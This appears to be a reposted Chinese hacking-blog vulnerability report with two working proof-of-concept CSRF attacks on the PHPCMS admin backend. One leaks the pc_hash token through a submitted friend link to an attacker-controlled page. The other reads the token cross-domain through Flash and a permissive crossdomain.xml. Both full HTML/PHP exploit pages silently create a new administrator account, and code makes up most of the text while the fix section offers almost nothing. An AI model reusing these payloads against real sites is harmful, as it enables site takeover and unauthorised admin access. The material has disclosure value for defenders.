记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

PHPCMS后台CSRF加管理两种方法POC

2015-10-09 09:05

之前多个漏洞,其实都是利用了Referer,如最新这个:http://wooyun.org/bugs/wooyun-2015-098434

其实我们可以不利用Referer,能更简单获取pc_hash,并进行CSRF攻击。



法一

先管理员登录后台,来到随意一个功能页面,右键查看框架的源代码,其中有这么一段javascript:

code 区域
window.focus();

var pc_hash = 'loP6gO';

window.onload = function(){

var html_a = document.getElementsByTagName('a');

var num = html_a.length;

for(var i=0;i<num;i++) {

var href = html_a[i].href;

if(href && href.indexOf('javascript:') == -1) {

if(href.indexOf('?') != -1) {

html_a[i].href = href+'&pc_hash='+pc_hash;

} else {

html_a[i].href = href+'?pc_hash='+pc_hash;

}

}

}



var html_form = document.forms;

var num = html_form.length;

for(var i=0;i<num;i++) {

var newNode = document.createElement("input");

newNode.name = 'pc_hash';

newNode.type = 'hidden';

newNode.value = pc_hash;

html_form[i].appendChild(newNode);

}

}



查找页面中所有超链接(a),如果不是“javascript:”开头的话,就添加pc_hash在url最后。

并没有判断这个链接是否是站内链接!

所以,如果我提交一个友情链接地址,也会被加上pc_hash,等于说pc_hash被加在我的url后面,我的服务器可以获取之!



来测试。首先前台提交一个友情链接:

QQ20150703-5@2x.png



地址是我的POC(http://mhz.pw/game/tx/phpcms.php),内容如下:

code 区域
<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>phpcms csrf 加管理</title>

<script type="text/javascript">

gum = function(){

var u = {

'version':'1140213',

'domain':'{{domain}}',

'backinfo':{},

'author': 'https://github.com/quininer/gum'

};

u.e = function(code){try{return eval(code)}catch(e){return ''}};

u.name = function(names){

return document.getElementsByTagName(names);

};

u.html = function(){

return u.name('html')[0]

||document.write('<html>')

||u.name('html')[0];

};

u.addom = function(html, doming, hide){

(!doming)&&(doming = u.html());

var temp = document.createElement('span');

temp.innerHTML = html;

var doms = temp.children[0];

(hide)&&(doms.style.display = 'none');

doming.appendChild(doms);

return doms;

};

u.post = function(url, data){

var form = u.addom("<form method='POST'>", u.html(), true);

form.action = url;

for(var name in data){

var input = document.createElement('input');

input.name = name;

input.value = data[name];

form.appendChild(input);

};

form.submit();

};

return u;

}();

var timestamp = (Date.parse(new Date())) / 1000;

gum.post('http://web.com/phpcms/index.php?m=admin&c=admin_manage&a=add', {

'info[username]': 'test_' + timestamp,

'info[password]': '123123',

'info[pwdconfirm]': '123123',

'info[email]': '[email protected] ',

'info[realname]': '',

'info[roleid]': '1',

'dosubmit': '提交',

'pc_hash': '<?php echo $_GET['pc_hash']; ?>'

});

</script>

</head>

<body>



</body>

</html>



然后管理员在后台审核友情链接处即可看到:

QQ20150704-1@2x.png



如上图,phpcms直接将pc_hash加入了我的链接后面。所以管理员点击链接后我即可接收到pc_hash,进而进行CSRF攻击。

上述POC,在管理员点击后,会给目标站创建一个用户名为test_+时间戳,密码是123123的管理员:

QQ20150703-6@2x.png





法二

与discuz类似,phpcms在默认安装完成后也没有修改crossdomain.xml,典型例子就是其官网

http://www.phpcms.cn/crossdomain.xml ,和官方演示站:http://v9.demo.phpcms.cn/crossdomain.xml

QQ20150706-12@2x.png



那么我就可以通过flash直接获取其pc_hash。

蚁逅平台做演示:

QQ20150706-13@2x.png



构造POC,自动添加管理员:http://mhz.pw/game/tx/phpcms1.php?domain=localphpcms.com

domain是目标域名。

code 区域
<?php

$domain = isset($_GET['domain']) ? htmlspecialchars($_GET['domain'], ENT_COMPAT | ENT_HTML401 | ENT_QUOTES) : exit("no domain");

?>

<!DOCTYPE html>

<html>

<head>

<meta charset="utf-8">

<title>phpcms csrf 加管理</title>

</head>

<body>

<p>phpcms flash跨域 csrf 加管理</p>



<object style="height:1px;width:1px;" data="c00y.swf" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="callback=getdata&url=http%3A%2F%2F<?php echo $domain; ?>%2Findex.php%3Fm%3Dadmin%26c%3Dindex"></object>



<script type="text/javascript">

function send(pc_hash){

gum = function(){

var u = {

'version':'1140213',

'domain':'{{domain}}',

'backinfo':{},

'author': 'https://github.com/quininer/gum'

};

u.e = function(code){try{return eval(code)}catch(e){return ''}};

u.name = function(names){

return document.getElementsByTagName(names);

};

u.html = function(){

return u.name('html')[0]

||document.write('<html>')

||u.name('html')[0];

};

u.addom = function(html, doming, hide){

(!doming)&&(doming = u.html());

var temp = document.createElement('span');

temp.innerHTML = html;

var doms = temp.children[0];

(hide)&&(doms.style.display = 'none');

doming.appendChild(doms);

return doms;

};

u.post = function(url, data){

var form = u.addom("<form method='POST'>", u.html(), true);

form.action = url;

for(var name in data){

var input = document.createElement('input');

input.name = name;

input.value = data[name];

form.appendChild(input);

};

form.submit();

};

return u;

}();

var timestamp = (Date.parse(new Date())) / 1000;

gum.post('http://<?php echo $domain; ?>/index.php?m=admin&c=admin_manage&a=add', {

'info[username]': 'test_' + timestamp,

'info[password]': '123123',

'info[pwdconfirm]': '123123',

'info[email]': '[email protected] ',

'info[realname]': '',

'info[roleid]': '1',

'dosubmit': '提交',

'pc_hash': pc_hash

});

}



function getdata(html)

{

var ret = html.match(/pc_hash=([a-zA-Z0-9]{6})/);

if(ret.length < 2) return false;

var pc_hash = ret[1];

//alert(formhash);

send(pc_hash);

}

</script>



</body>

</html>





localphpcms.com的管理员访问以上POC即可添加一个管理。

不多解释了。

两种方法,均可CSRF加管理。

漏洞证明:

见上面

修复方案:

不好说。。。

知识来源: www.wooyun.org/bugs/wooyun-2015-0124878

阅读:130622 | 评论:0 | 标签:CSRF cms phpcms

想收藏或者和大家分享这篇好文章→复制链接地址

“PHPCMS后台CSRF加管理两种方法POC”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词